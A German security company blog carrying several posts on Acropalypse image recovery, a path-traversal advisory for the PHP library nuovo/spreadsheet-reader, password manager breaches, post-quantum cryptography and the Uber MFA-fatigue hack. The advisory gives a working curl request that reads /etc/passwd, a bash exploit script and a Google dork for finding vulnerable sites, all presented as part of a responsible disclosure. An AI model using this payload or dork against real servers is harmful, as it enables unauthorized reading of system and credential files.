Kategorie: Themen

Advisories, Schwachstelle

„Acropalypse“ NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf „Acropalypse“-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

Beitragsbild: Keine Informationssicherheit, kein Job mehr
Allgemein, ISMS, Risikomanagement

Keine Informationssicherheit, kein Job mehr

Wer lange genug in der IT-Sicherheit unterwegs ist, kennt mehr als eine Situation, in der Hinweise und Vorgaben zur IT-Sicherheit mit einem selbstbewusst geäußerten „Keine Lust“, „Haben wir noch nie so gemacht“ oder „Erklären Sie mir nicht meinen Job“ zur Seite geschoben wurden.

Rechtsanwalt Jens Ferner berichtet von einem Fall, der am Ende gerichtlich ausgefochten wurde. Konkret ging es um eine nicht abgeschlossene Schreibtischschublade, in der sich Kundenakten mit Finanzdaten befanden. Eine Schublade klingt nicht direkt nach IT-Sicherheit, aber die entsprechende Clean-Desk-Regelung war Teil der Vorgaben zur Informationssicherheit. Der Verstoß dagegen wurde vom Landesarbeitsgericht Sachsen als so schwer bewertet, dass er eine Abmahnung bzw. wie im konkreten Fall wegen Wiederholung sogar die Kündigung rechtfertigte.

Umgekehrt kann auch eine zu laxe Handhabung von Informationssicherheit zum Jobverlust führen. In vielen Fällen, in denen wir Kunden bei der Bewältigung von Sicherheitsvorfällen unterstützen, stehen die Existenz des Unternehmens und damit auch Arbeitsplätze auf dem Spiel.

Beide Aspekte unterstreichen, dass ein gelebtes Informationssicherheitsmanagement mehr als nur viele geduldige Seiten Text bedeutet.
https://www.ferner-alsdorf.de/wirksame-kuendigung-bei-verstoss-gegen-richtlinie-zur-informationssicherheit/

Link zur Rechtsprechung: https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht=LAG%20Sachsen&Datum=07.04.2022&Aktenzeichen=9%20Sa%20250%2F21

Schwachstelle

Wenn der White-Hat-Hacker anruft, aber niemand rangeht

Stellen Sie sich vor, ein findiger Mensch hat eine Sicherheitslücke bei Ihnen entdeckt. Wenn er oder sie jetzt Ihre Organisation darauf aufmerksam machen möchte: Wo würde die Information initial landen? Wie gut sind die Chancen, dass sie fachkundig bewertet und nicht als Werbung wegsortiert wird? Wer würde entsprechende Maßnahmen ergreifen? Und wer übernimmt die Kommunikation mit den Entdeckern – oder werden sie am Ende gar keine Antwort erhalten?

Die Erfahrungen der Entdeckerseite beschreibt ein Artikel in der „Zeit“ vom 19.01. Die Autoren hatten bei 15 Hochschulen Sicherheitslücken identifiziert. Im Artikel beschreiben sie die schnellen und positiven Reaktionen einiger Sicherheitsverantwortlichen, aber auch die Schwierigkeiten, überhaupt einen Ansprechpartner zu finden oder ein Feedback zu erhalten. Wer schon länger in der IT-Sicherheit unterwegs ist, kennt diese Problematik. Wie viele Advisories oder Artikel in Fachmedien zu Sicherheitslücken haben wir schon gelesen, die mit den Worten endeten: „Vom Hersteller gab es bis zur Veröffentlichung keine Reaktion“?

Auch wir erleben im Rahmen unseres Responsible-Disclosure-Prozesses sehr unterschiedliche Reaktionen auf unsere Meldungen. In einer Studie 2018 haben wir eine Lücke bei insgesamt 3.000 Betroffenen identifiziert und gemeldet. Lediglich 30 % davon reagierten mit der Schließung ihrer Lücke – andere Studien mit Warnungen von vielen Betroffenen kommen zu vergleichbaren Ergebnissen.

Aber zurück zu Ihrer Organisation: Sollten Sie immer alles stehen und liegen lassen, wenn eine Meldung beim Empfang eingeht? Auch hier erleben wir sehr unterschiedliche Situationen, wenn wir Kunden beraten. Natürlich kennt ein externer Sicherheitsforscher – anders als ein Auditor – die konkreten Sicherheitsziele Ihrer Organisation und die Kritikalität der einzelnen Systeme nicht im Detail. Daher wird meist vom schlimmsten Fall ausgegangen, und die Befunde entsprechend hoch eingestuft – gelegentlich auch zu hoch gegenüber einer näheren Betrachtung der Lücke und des Schadenpotenzials. Eine fachkundige Bewertung ist also immer zwingend nötig und daraufhin eine überlegte Reaktion – sowohl bei der Auswahl der getroffenen Maßnahmen als auch bei der Kommunikation mit den Meldenden.

https://www.zeit.de/2023/04/it-sicherheit-hochschule-sicherheitsluecken-hacker

Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Passwörter, Schwachstelle

Doch lieber Zettel unter der Tastatur? Sicherheitslücken in Passwortmanagern

Natürlich ist das berühmte (und leider auch in einigen unserer Audits anzutreffende) Post-it am Monitor oder unter der Tastatur keine Lösung zum Speichern von Passwörtern. Passwortmanager sind angetreten, um das Problem zu lösen, dass sich Menschen nur wenige technisch sichere Passwörter merken können. Auch wir empfehlen die Nutzung regelmäßig, da so für jeden Dienst und jedes System ein individuelles, und vor allem auch bei Brute-Force-Angriffen sicheres Passwort leicht erzeugt werden kann. Gleichzeitig wird der Passwortmanager damit zu einem Generalschlüssel und lohnenden Ziel für Angreifer – ein neues Risiko, das man berücksichtigen muss.

Mehrere Vorfälle in der Vorweihnachtszeit haben gezeigt, wie real dieses Risiko werden kann. Die meiste Beachtung fand der Sicherheitsvorfall beim Anbieter LastPass. LastPass informierte die Nutzer bereits im August über den Vorfall. Zum damaligen Zeitpunkt ging man aber davon aus, dass die Angreifer zwar Zugriff auf Entwicklersysteme hatten, Nutzerdaten und gespeicherte Passwörter aber nicht betroffen waren. Im Dezember musste LastPass nun auch Zugriffe auf Back-ups von Kundendaten einräumen. Die Passwortdatenbanken lassen sich zwar nur mit Kenntnis des Master-Passworts des jeweiligen Nutzers öffnen. Aber damit sind wir wieder beim initialen Problem: Menschen sind meist nicht gut im Ausdenken und Merken von technisch sicheren Passwörtern.

Das Risiko besteht nicht nur bei Online-Passwortmanagern: Die Kollegen von ModZero fanden bei der OnPremise-Lösung PasswordState gleich mehrere Lücken. Kombinierte ein Angreifer ohne Zugangsdaten diese geschickt, konnte er beliebige Zugangsdaten auslesen und auch überschreiben. Die Lücken sind bereits behoben – wenn man das Update von Anfang November eingespielt hat.

https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/

https://www.modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure

Allgemein, Malware, Security Engineering

Vom Berater bis zum Angreifer: Computer übernehmen die Jobs

Ende November gab die Firma OpenAI den Prototypen ihres Chatbots ChatGPT zum Ausprobieren durch die Community frei und die nutzte die Adventszeit für viele spannende und teils erschreckende Experimente. Was ist ChatGPT eigentlich? Tatsächlich, wie der Name sagt, ein Chatbot, den man mit Fragen zu recht komplexen Antworten bringen kann. Wie in einem Fachgespräch üblich, kann man ihn durch weitere Fragen oder Änderungswünsche die Antworten ergänzen und verbessern lassen. Der Chatbot kann nicht nur Texte schreiben, sondern auch einfache Programme entwickeln.

Vorsicht ist jedoch angesagt, damit der Bot seine Ergebnisse nicht zu sehr nach den vermeintlichen Wünschen des Fragestellers ausrichtet. Bei Tests mit typischen Beratungsfragen, also den Fragen, die ohne Kontext immer mit „Es kommt darauf an“ beantwortet werden, konnte ChatPGT sehr überzeugend beide Sichten begründen – allerdings ohne auf die jeweils andere Option einzugehen. Fragt man beispielsweise, wie mit schwachen SSL-Cipher-Einstellungen umgegangen werden soll, bekommt man je nach Fragestellung diese Antworten:

Für die Einordnung der Ergebnisse der künstlichen Intelligenz ist dann doch wieder Fachwissen nötig.

ChatGPT kann aus einer kurzen Beschreibung heraus auch ein passendes Programm entwickeln. Das interessiert natürlich auch potenzielle Malware-Autoren. Die Kollegen von Check-Point haben in Foren erste Hinweise in Foren gefunden, dass mit Malware aus ChatGPT-generiertem Code experimentiert wurde. Ob sich das Entwicklungsmodell bei den Malware-Autoren durchsetzt oder diese Malware am Ende sogar leichter erkennbar sind, wird die Zukunft zeigen.

https://www.heise.de/news/ChatGPT-Maechtige-Waffe-in-Haenden-von-Skriptkiddies-7452741.html

Risikomanagement

Compliance-Bingo und Checklisten-Fetisch? Die Suche nach nachhaltiger Security

Hundertprozentige Security gibt es nicht, wie wir alle wissen. Daher macht es wenig Sinn, Vorfälle zu zählen, um den Erfolg eines Security-Programms zu bewerten. Woher weiß ich aber sonst, ob ich auf dem richtigen Weg bin?

Eine gleichzeitig schwammige und konkrete Antwort darauf, was umzusetzen ist, gibt der Begriff „Stand der Technik“. Zwar gibt es keine objektiven harten Vorgaben in Bezug auf Ziele, Tools oder Technologien, wenn ich allerdings etwa meine, ohne Authentifizierung oder Backup auszukommen, sollte ich gute Argumente haben, wenn etwas anbrennt.

Das kann so weit gehen, dass Konzerne viele Security-Funktionen im Wesentlichen deswegen im Einsatz haben, um sich moralisch abzusichern, falls etwas schiefgeht: „Erst wenn du den Gartner Hype Cycle einmal rauf- und runtergekauft hast, sind du und dein Job auf der sicheren Seite.“

Darüber hinaus stellt sich aber auch die Frage, wie die Umsetzung geschehen soll, also welche Qualität und Intensität ausreichend ist. Das Zauberwort hier ist „Sorgfaltspflicht“ (Englisch „Due Diligence“) – und die sollte ich im Notfall nachweisen können.

Um auch langfristig in Bezug auf die Security voranzukommen, innerhalb einer Organisation wie auch gesamtgesellschaftlich, braucht es allerdings noch ein drittes Prinzip: Das Ganze kann nicht funktionieren, wenn wir dauerhaft technische Schulden anhäufen. Zwar wissen wir heute nicht, welche kritischen Schwachstellen in nächster Zeit auftauchen. Aber solange wir immer mehr technische Altlasten sammeln, wächst das Risiko, dass uns eine davon kalt erwischt.

https://www.heise.de/meinung/Kommentar-Angriffe-lassen-sich-nicht-vermeiden-uebernehmt-die-Verantwortung-7328918.html

ICS

Caught in the Act of Product Security: EU Cyber Resilience Act

Seitdem 2015 das IT-Sicherheitsgesetz in Kraft getreten ist, hat sich in der Regulierung zur Cybersicherheit viel getan. Immer mehr Sektoren wurden mit Anforderungen und Auflagen belegt, und neue Zielgruppen sind in den Fokus gerückt.

Allerdings hat sich die Aufmerksamkeit dabei bisher weitgehend auf die Betreiber von IT und OT gerichtet. Dies ist insofern unzureichend, als bestimmte Probleme ohne die Mitwirkung der Hersteller und Zulieferer nicht gelöst werden können. Diese Lücke möchte die EU nun mit dem Cyber Resilience Act schließen.

Die im Entwurf vorliegende Richtlinie sieht vor, dass Security Teil des CE-Kennzeichens wird. Dies betrifft alle Produkte „mit digitalen Elementen“, die in der EU in Verkehr gebracht werden. Security würde damit erstmals eine offiziell geforderte und zu zertifizierende Produkteigenschaft, inklusive beizulegender „SBOM“ (Software Bill of Materials, einer Auflistung aller verwendeten Softwarekomponenten) und der Pflicht zur Bekanntgabe ausgenutzter Schwachstellen innerhalb von 24 Stunden.

Zwar ist noch unklar, wie die Richtlinie durch die Mitgliedsstaaten, die Hersteller und den Markt am Ende umgesetzt wird, doch könnte sie durchaus geeignet sein, der Security in Produkten nachhaltig Schwung zu verleihen. Vorausgesetzt, sie wird bis zur Verabschiedung nicht noch verwässert.

P.S.: Unter „Produktsicherheit“ wird im Deutschen heute (noch?) weitgehend Safety verstanden. Das könnte sich zukünftig ändern, wenn Security ein gleichwertiger Bestandteil der –> Product Security wird.

https://www.taylorwessing.com/en/insights-and-events/insights/2022/10/the-cyber-resilience-act

https://fluchsfriction.medium.com/eu-cyber-resilience-act-german-version-ae2ed6166aea

Kryptographie

Wann lohnt sich der Quantensprung? Post-Quanten-Kryptographie 

Asymmetrische Kryptographie ist heute weit verbreitet. Algorithmen, die heute noch als sicher gelten, können von den Quantencomputern von morgen gebrochen werden. 

Asymmetrische Kryptographie-Algorithmen basieren auf mathematischen Problemen (Primfaktorzerlegung oder Berechnung des diskreten Logarithmus), die als schwer zu lösen gelten. Bereits Anfang der 90er-Jahre hat Peter Shor den nach ihm benannten Algorithmus entwickelt, mit dem die genannten mathematischen Probleme auf einem Quantencomputer effizient berechnet werden können. Um das zu verdeutlichen: Um eine n-Bit Zahl zu faktorisieren, sind etwa 2n Qubits nötig. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) fordert bei der Verwendung von RSA eine Schlüssellänge von mindestens 2000 Bit, für den Einsatzzeitraum über das Jahr 2022 hinaus sogar mindestens 3000 Bit. Das bedeutet, dass man bei der Verwendung von RSA mit einer Schlüssellänge von 2048 Bit schon theoretisch einen Quantencomputer mit über 4000 Qubit braucht. Praktisch sind wegen technischer Herausforderungen beim Bau von Quantencomputern wesentlich mehr Qubits notwendig. Der Physikforscher Michele Mosca schätzt, dass es mit einer Wahrscheinlichkeit von 50 % einen effizienten Quantencomputer bereits ab 2030 geben wird. 

Aber nicht nur asymmetrische Verschlüsselungs- und Signaturverfahren sind gefährdet, sondern auch symmetrische Verschlüsselungsverfahren und Hashfunktionen. Denn mit dem ebenfalls in den 90er-Jahren entwickelte Such-Algorithmus „Grover“ kann die Komplexität von Suchproblemen auf ungeordnete Daten auf die Wurzel der klassischen Komplexität reduziert werden. Infolgedessen müssen die Schlüssellängen angepasst werden. Es wird heute schon bei Neuentwicklungen davon abgeraten, AES-128 zu verwenden. Stattdessen sollte AES-256 genutzt werden, da davon ausgegangen wird, dass die Verwendung einer Schlüssellänge von 256 Bit langfristig einen hinreichenden Schutz gegen Quantencomputer-Angriffe bietet. 

Auch wenn der Durchbruch in der Quanteninformatik noch einige Jahre auf sich warten lässt, müssen sich Organisationen rechtzeitig auf den reibungslosen Übergang zu quantensicheren Systemen vorbereiten. Die Auswahl geeigneter Algorithmen sowie das Umstellen auf quantensichere Systeme kann eine besondere Herausforderung für viele Organisationen sein. In den letzten Jahren wurden enorme Fortschritte in der Quanteninformatik erzielt, so dass der erste Quantencomputer, der in der Lage ist, asymmetrische Kryptographie-Verfahren zu brechen, in wenigen Jahren zur Verfügung stehen könnte. Organisationen, die die gefährdeten Verfahren verwenden, um Daten mit langen Lebenszyklen zu schützen, müssen sich am besten jetzt schon um eine geeignete Alternative kümmern. Dazu zählen z. B. Gesundheitsdaten, die 10 Jahre sicher aufbewahrt werden müssen. Wenn 2030 der erste Quantencomputer zur Verfügung stehen sollte, könnten die Angreifer die verschlüsselten Daten bereits jetzt abfangen und dann entschlüsseln (hack now – decrypt later). Für Signaturen drängt die Zeit noch weniger, denn Angriffe auf frühere Kommunikation sind nicht möglich. 

Die US-Bundesbehörde National Institute of Standards and Technology (NIST), die bereits in der Vergangenheit für den Standardisierungsprozess bekannter kryptographischer Verfahren (wie z. B. AES) zuständig war, ist bereits seit 2016 auf der Suche nach neuen kryptographischen Standards, die gegen Quantencomputer resistent sind.  

Das NIST hat bereits im Juni 2022 erste Post-Quanten-Kryptographie-Verfahren zur öffentlichen Kommentierung standardisiert. Als Beispiel wurde CRYSTALS-Kyber ausgewählt, das auf dem Learning with Error (LWE) Problem basiert, welches auf Probleme in mathematischen Gittern zurückzuführen ist. Dieses Forschungsfeld ist jedoch noch recht jung. 

Ebenfalls im Juni 2022 hat die Runde 4 des Auswahlprozesses bei NIST begonnen. Einer der Finalisten ist das codebasierte Verfahren McEliece, welches auf fehlerkorrigierenden Codes basiert. Im Gegensatz zu den gitterbasierten Verfahren wurde das McEliece-Verfahren bereits im Jahr 1973 entwickelt und konnte somit bereits lange ausgiebig erforscht werden. Jedoch ist die Schlüsselerzeugung mit einem hohen Aufwand verbunden, da große Matrizen verarbeitet werden müssen. Dafür sind die Ver- und Entschlüsselungsalgorithmen extrem schnell und der Ciphertext ist bisher der kleinste aller NIST-Post-Quanten-Kryptographie-Kandidaten. 

Auch das BSI hat bereits erste Empfehlungen ausgesprochen. Dazu zählen z. B. die Entwicklung von kryptoagilen Lösungen und die Verwendung von Post-Quanten-Kryptographie Algorithmen in hybrider Form, also in Kombination mit klassischen kryptographischen Algorithmen, da viele Verfahren noch sehr jung und wenig erforscht sind. Dies führt zu den nächsten Herausforderungen. Kryptographische Protokolle müssen weiterentwickelt werden und die Public-Key-Infrastruktur muss in der Lage sein, Zertifikate zu verarbeiten, die sowohl die längeren klassischen Schlüssel als auch die quantensicheren Schlüssel enthalten. 

Unsere Experten der HiSolutions AG analysieren für Sie Ihre spezifischen Systeme, die kryptographische Verfahren verwenden, um die notwendigen Änderungen für die Migration zu Post-Quanten-Kryptographie-Lösungen unter Berücksichtigung spezifischer Anforderungen zu identifizieren. Dabei entwickeln wir für Sie geeignete Migrations- und Übergangslösungen. Ebenfalls möchten wir das Bewusstsein für die Problematik schärfen, die sich aus der Entwicklung der Quanteninformatik ergeben. 

Für mehr Informationen zum Quantencomputer und den Gefährdungen wie Lösungsmöglichkeiten, siehe auch dieses Dokument des BSI. 

Schwachstelle

Uberfällig – Gehackt via MFA-Fatigue

Die Nachricht im internen Slack des milliardenschweren US-amerikanischen Fahrdienste-as-a-Service-Anbieters Uber klang wie ein schlechter Scherz: “I announce I am a hacker and Uber has suffered a data breach”. Doch schnell wurde klar, dass sich tatsächlich jemand Zugriff tief in die Infrastruktur hinein verschafft hatte. Der 17-jährige mutmaßliche Täter, den die Polizei letzte Woche in England verhaften konnte, und der Mitglied der Gruppe LAPSUS$ sein soll, hatte sich einer neuartigen, schnell an Beliebtheit gewinnenden Angriffstechnik bedient: Um Zugriff aufs interne Netz zu erhalten, löste er sehr viele Anfragen nach Bestätigung des zweiten Faktors für einen Fernzugriff kurz hintereinander aus und schrieb außerdem dem Dienstleister, der diese erhielt, per WhatsApp, dass dieser doch bitte den Zugriff im Namen der internen Uber-IT zulassen solle. Als die sogenannte MFA-Fatigue – also die Übermüdung aufgrund der vielen Warnungen – einsetzte, ließ der Dienstleister den Angreifer hinein, woraufhin sich dieser im Netz weiterbewegen konnte.

Zukünftig muss also die Möglichkeit von Fatigue- und anderen MFA-Mitigation-Angriffen mitgedacht und durch Sensibilisierung und weitere technische Maßnahmen wie die Unterdrückung von MFA-Massenanfragen eingehegt werden.

https://www.infoq.com/news/2022/09/Uber-breach-mfa-fatigue/